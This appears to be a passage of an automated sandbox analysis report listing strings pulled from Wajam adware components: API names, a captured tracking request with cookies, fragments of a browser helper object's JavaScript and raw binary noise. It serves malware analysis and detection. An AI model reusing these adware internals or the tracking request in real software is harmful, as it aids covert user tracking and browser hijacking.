GET /widgets/widget_iframe.d753e00c3e838c1b2558149bd3f6ecb8.html?origin=http%3A%2F%2Fwww.wajam.com HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: platform.twitter.comDNT: 1Connection: Keep-AliveCookie: personalization_id="v1_klJqB00qZ2y8VHUHD/E+KQ=="; guest_id=v1%3A151245755858269842

Ansi based on Decrypted SSL Data (SSL)

GetAclInformation

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

GetActiveWindow

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetAllNetworkAdaptersIDs

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetAllNetworkAdaptersIDsCB

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetAsyncKeyState

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetClassInfoA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetClientRect

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetCommandLineA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetCommandLineW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

GetConsoleCP

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetConsoleMode

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetConsoleOutputCP

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetCPInfo

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetCurrentProcess

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetCurrentProcessId

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetCurrentThreadId

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetDateFormatW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

GetDeviceCaps

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetDiskFreeSpaceA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetDiskFreeSpaceExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetDlgItem

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetDlgItemTextA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetDNSSuffixSearchList

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetDWORDValue

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetEnabledNetworkAdaptersIDs

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetEnabledNetworkAdaptersIDsCB

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetEnvironmentStrings

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetEnvironmentStringsW

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetEnvironmentVariableA

Ansi based on Dropped File (ExecCmd.dll.1695374911)

GetErrorMessage

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetExitCodeProcess

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetExitCodeThread

Ansi based on Dropped File (ExecCmd.dll.1695374911)

GetFileAttributesA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetFileSize

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetFileType

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetFileVersionInfoA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetFileVersionInfoSizeA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetFullPathNameA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetFullPathNameW

Ansi based on Dropped File (priam_bho.dll.1505483275)

GetHostName

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GEtJd_^[UjSVWt3Uh"v@d0d EPUMCUG3ZYYdh)v@E{td_^[Y]SVWtQWtd_^[UjjSVWt3Uhv@d0d EPUDEUMzUG3ZYYdhv@EGtd_^[YY]xt1(w@TErrorRec@SV3C;4@u@S@4$D$Tj

Ansi based on Dropped File (nsqE177.tmp)

GetLastActivePopup

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetLastError

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetLengthSid

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

GetLocaleInfoA

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetLongPathNameA

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetMessageA

Ansi based on Dropped File (inetc.dll.1181384010)

GetMessagePos

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetMessageW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

GetMethod failed.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetModuleFileNameA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetModuleFileNameW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

GetModuleHandleA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetModuleHandleW

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterConnectionID

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterConnectionSpecificDNSSuffix

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterDefaultIPGateways

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterDefaultIPGatewaysCB

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterDescription

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00401000.00000020.mdmp)

GetNetworkAdapterDHCPLeaseExpires

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterDHCPLeaseObtained

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterDHCPServer

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterDNSServers

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterDNSServersCB

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterIDFromDescription

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterIDFromIPAddress

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterIDFromMACAddress

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterIPAddresses

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterIPAddressesCB

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterIPSubNets

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterIPSubNetsCB

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterMACAddress

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterPrimaryWINSServer

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterSecondaryWINSServer

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNetworkAdapterType

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetNodeType

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetObject failed.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetParent

Ansi based on Dropped File (inetc.dll.1181384010)

GetPrimaryDNSSuffix

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetPrivateProfileStringA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetPrivateProfileStringW

Ansi based on Dropped File (priam_bho.dll.1505483275)

GetProcAddress

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetProcessHeap

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetProcessWindowStation

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetSecurityInfo

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

GetServiceBinaryPath

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceDelayedAutoStartInfo

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceDescription

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceDisplayName

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceFailure

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceFailureFlag

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceLogon

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceName

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceStartType

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetServiceStatus

Ansi based on Dropped File (SimpleSC.dll.523064890)

GetShortPathNameA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetStartupInfoA

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetStartupInfoW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

GetStdHandle

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetStringTypeA

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetStringTypeW

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetStringValue

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetStringValue failed.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetSysColor

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetSystemDirectoryA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetSystemMenu

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetSystemMetrics

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetSystemTimeAsFileTime

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetTempFileNameA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetTempPathA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetThreadLocale

Ansi based on Dropped File (priam_bho.dll.1505483275)

GetTickCount

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetTimeFormatW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

GetTimeZoneInformation

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

GetTokenInformation

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

GetUserDefaultUILanguage

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetUserObjectInformationA

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

GetUserObjectInformationW

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

GetVersion

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetVersionExA

Ansi based on Dropped File (ExecCmd.dll.1695374911)

GetWindowLongA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetWindowLongW

Ansi based on Dropped File (priam_bho.dll.1505483275)

GetWindowRect

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetWindowsDirectoryA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GetWindowTextA

Ansi based on Dropped File (inetc.dll.1181384010)

GetWindowThreadProcessId

Ansi based on Dropped File (ExecCmd.dll.1695374911)

GG,G@GRGbGxG|EEGGGGHH>HXHnHHHHHHHIIGGdBCp@AnE@BG@ C(I,AA4I@RD^EHE6E"EEEDDDDDDDDD*D6DDBD`DnD|DDDzCCCCCCCCCCCCpCEEEEEEEFF&F8FHFZFjFFFFFFFFFF

Ansi based on Dropped File (nsqE177.tmp)

GG,G@GRGbGxG|EEGGGGHH>HXHnHHHHHHHIIGGstrtolX_mbschr|_mbsstrmemsetstrtoulw_mbsrchrstrrchrstrchrstrlenMSVCRT.dll^free_inittermmalloc_adjust_fdivlstrlenAWriteFileReadFilelstrcmpAlstrcpynAGetLastErrorGlobalFreeWDeleteFileACloseHandleSleepExjSetFilePointermGetTickCountlstrcatAGetFileSize4CreateFileAlstrcmpiA>GetProcAddressLoadLibraryAGlobalAlloclstrcpyAMulDiv&GetModuleHandleATerminateThreadWaitForSingleObjectJCreateThreadKERNEL32.dllwsprintfAIsWindowMessageBoxA5GetParentjShowWindowXSetWindowLongAVGetWindowLongA^SetWindowTextASendDlgItemMessageAGetDlgItemPostMessageA^GetWindowTextASendMessageA,SetDlgItemTextA[SetWindowPosqSystemParametersInfoAGetClientRect\GetWindowRectRSetTimerLoadIconAUpdateWindowDestroyWindowKillTimerRedrawWindowDispatchMessageATranslateMessage*GetMessageAIsDialogMessageAIsWindowVisibleEnableWindowOCreateDialogParamAFindWindowExAUSER32.dllwInternetReadFileInternetWriteFileIHttpSendRequestAJHttpSendRequestExAGHttpQueryInfoAFtpCreateDirectoryA&FtpOpenFileAiInternetGetLastResponseInfoA~InternetSetFilePointerInternetSetOptionAuInternetQueryOptionAVInternetCloseHandlebInternetErrorDlgEHttpOpenRequestAAHttpAddRequestHeadersACHttpEndRequestAZInternetConnectA\InternetCrackUrlAoInternetOpenAWININET.dllCOMCTL32.dll?MIxIII.99

Ansi based on Dropped File (nsqE177.tmp)

GGG666UUU>>>***[[[ZZZ777FFF@@@iiibbb"""###ccc((($$$###NNNCCC+++###eeeggg"""+++}}}:::|||###666~~~&&&###ttt+++$$$sssFFFhhhIP_cW{XmVlVlVlVlVlWmVlVlVlVlVlVlVlVlWmWmVlVlVlVlVlVlVlVlVlVlVlVlVlVlVlVlVlVlVlVlVlWmVlVlVlVlVlWmVlVlVlVlVlVlVlVlVlVlVlWlWmVlVlVlVlVlWmWmVlVlVlVlWmWmVlVlVlVlVlVlVlWmWmVlVlVlVlWmWmVlVlVlVlVlVlVlVlVlMdocouuuuts|'tuuuuuk

Ansi based on Dropped File (nsqE177.tmp)

GHjN4O|6K"}TS8xPd7'pl'q^#OAFm)

Ansi based on Dropped File (nsqE177.tmp)

GInetc plug-inMS Sans SerifP2P2P2 fP <@>msctls_progress32Progress1P2.fP.<P,

Ansi based on Dropped File (nsqE177.tmp)

GjG4}8 4}< ? _

Ansi based on Dropped File (nsqE177.tmp)

gList.version);}else{callback(0);}}};priam.Url = {build: function(url, param, callback) {priam.Browser.messageManager.sendRequest('build_url', {url: url, param: param}, callback);},getFirstRun: function(callback) {var url = priam.Config.url.first_run;var params = new Array();params['firstrun'] = '1';var install_timestamp = priam.background.preferences.get('install_timestamp');if (priam.background.util.isValidInstallTimestamp(install_timestamp)) {params['install_timestamp'] = install_timestamp;}priam.Url.build( url, params , callback);},getUpdate: function(oldVersion, callback) {var url = priam.Config.url.update;var params = new Array();params['firstrun'] = '1';params['update'] = oldVersion;var install_timestamp = priam.background.preferences.get('install_timestamp');if (priam.background.util.isValidInstallTimestamp(install_timestamp)) {params['install_timestamp'] = ins

Ansi based on Dropped File (priam_bho.dll.1505483275)

GlobalAlloc

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GlobalFree

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GlobalLock

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GlobalSize

Ansi based on Dropped File (System.dll.4179624505)

GlobalUnlock

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GlobalUnlockGlobalLockoCreateThreadfCreateProcessARemoveDirectoryASCreateFileAGetTempFileNameAlstrlenAlstrcatAGetSystemDirectoryAGetVersionKERNEL32.dllEndPaintDrawTextAFillRectGetClientRect

Ansi based on Dropped File (nsqE177.tmp)

GlobalUnlockGlobalSizeReadFilePeekNamedPipeGetTickCountfCreateProcessAGetStartupInfoAeCreatePipeGetVersionExAGlobalLockDeleteFileAlstrcmpiAlstrlenAlstrcatA4CloseHandleqUnmapViewOfFilehMapViewOfFileTCreateFileMappingASCreateFileACCopyFileAGetTempFileNameAGlobalFreeGlobalAlloc}GetModuleFileNameAExitProcessGetCommandLineAKERNEL32.dllwsprintfA*CharNextAFindWindowExA-CharPrevA;SendMessageAOemToCharBuffAUSER32.dll:SetSecurityDescriptorDacl4InitializeSecurityDescriptorADVAPI32.dllK%$$%-Z%% %nsExec.dllExecExecToLogExecToStackkernel32IsWow64Process%dtimeout /OEM/TIMEOUT=#32770SysListView32"nserror000"040=0F0O0a0j0s0|0000000011"111Y1t111111111

Ansi based on Dropped File (nsqE177.tmp)

GM2(RWZSN.06ZjK=k|RKn

Ansi based on Dropped File (nsqE177.tmp)

GPVHBW@@xhj@@uFP<B@5@KjjEEEt

Ansi based on Dropped File (nsqE177.tmp)

GrantServiceLogonPrivilege

Ansi based on Dropped File (SimpleSC.dll.523064890)

Great minds search alike.

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

GROy#`PRC?pA*lE9m#Fc\aIgQb6.`Qd>)n59w$j:/$bf$>k%%H@%ff-X` YZ9(brYiQ[2n v(@0TBvzKU;lNd?-.OlD1[H4q.yf9Rnr&%13)IG:*Ih7dU9g=&v!UJcms8SLmbTy'O%oBfG>E,H|

Ansi based on Dropped File (nsqE177.tmp)

Gt+2V"8:2/?*T[ioG1hFp;R`d9EX21|3K@4d

Ansi based on Dropped File (nsqE177.tmp)

gth; n++) { var c = url.charCodeAt(n); if (c < 128) {utftext += String.fromCharCode(c);}else if((c > 127) && (c < 2048)) {utftext += String.fromCharCode((c >> 6) | 192);utftext += String.fromCharCode((c & 63) | 128);}else {utftext += String.fromCharCode((c >> 12) | 224);utftext += String.fromCharCode(((c >> 6) & 63) | 128);utftext += String.fromCharCode((c & 63) | 128);} }// The Javascript escape and unescape functions do not correspond// with what browsers actually do...var SAFECHARS = '0123456789' + // Numeric'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + // Alphabetic'abcdefghijklmnopqrstuvwxyz' +"-_.!~*'()"; // RFC2396 Mark charactersvar HEX = '0123456789ABCDEF';var plaintext = utftext;for (var i = 0; i < plaintext.length; i++ ) {var ch = plaintext.charAt(i);if (ch == ' ') {encoded += '+'; // x-www-urlencoded, rather than %20}else if (SAFECH

Ansi based on Dropped File (priam_bho.dll.1505483275)

Gu0u0jh8dAd395Au*j$Yu95AuAEpj#Yjhj1A3AUMtj3X;Es3]MVuF3wVj5A,1Au2=AtVYuEt3

Ansi based on Dropped File (nsqE177.tmp)

GU?vog/=CwtY*AO@`Q'15@xMd3YG$@(V&zpG*fI,Q5T$jWa4-B#.\q1-`5%%a3p:=9U

Ansi based on Dropped File (nsqE177.tmp)

gvx@FGGGGGGGGGGGGGGE;JQ/-;TKd5LM]?Xfz.:qMe.Kwmmnnnnnnnnnnnnnmj|'pDIJJJJJJJJJJJJGBYUnXlTiTmDY[lZqh|vSj/mopppk

Ansi based on Dropped File (nsqE177.tmp)

GWufguh\9~9~;]VlYt5X1A@PPWP5AtuPW5AYYfguuPW5AYY?-uGW$s_+'cj0XfQf>D t@tGGG@t3@t|su3}9~u!t-RPSW609~N+FtYt90tN0@6u$AKf8tu+@t+tj-tj+tj Xf++u(~"j OYtYt1u(~"j0OHYtup~gPWPK~$Y'Y|3t*j OuYttYftrt

Ansi based on Dropped File (nsqE177.tmp)

gygf$M}KwP

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

h 3AWDYYu}jp><Wxf;cf'Vffu?JtJtJtJ"jAjaEjdhtvHt#JJtJJjYjyExEPTu't!ffx;vsffu\JtJtnEjS*JtJtXEjMJtJtBEjIXuuSVuPuvt}"3UMS3W9]t

Ansi based on Dropped File (nsqE177.tmp)

Ansi based on Dropped File (nsqE177.tmp)

h hrI,]7v*3BY$w3SJqccX.'6FT0hLp/bq';%

Ansi based on Dropped File (nsqE177.tmp)

h space for _onexit/atexit table

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

h space for thread data

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

h vector vbase copy constructor iterator'

Ansi based on Dropped File (WajamUpdater.exe.1424787505)

h&]UQ&EEPWEPEju0L0Au9}t}tj

Ansi based on Dropped File (nsqE177.tmp)

h([qhY5[u.Uj@P$[$[8hXP @hX5[u

Ansi based on Dropped File (nsqE177.tmp)

H(x,y,z) { return (x ^ y ^ z); }function I(x,y,z) { return (y ^ (x | (~z))); } function FF(a,b,c,d,x,s,ac) {a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));return AddUnsigned(RotateLeft(a, s), b);} function GG(a,b,c,d,x,s,ac) {a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));return AddUnsigned(RotateLeft(a, s), b);} function HH(a,b,c,d,x,s,ac) {a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));return AddUnsigned(RotateLeft(a, s), b);} function II(a,b,c,d,x,s,ac) {a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));return AddUnsigned(RotateLeft(a, s), b);} function ConvertToWordArray(string) {var lWordCount;var lMessageLength = string.length;var lNumberOfWords_temp1=lMessageLength + 8;var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;var lNumberOfWords = (lNumberOfWords_temp2+1)*16;var lWordArray=Arra

Ansi based on Dropped File (priam_bho.dll.1505483275)

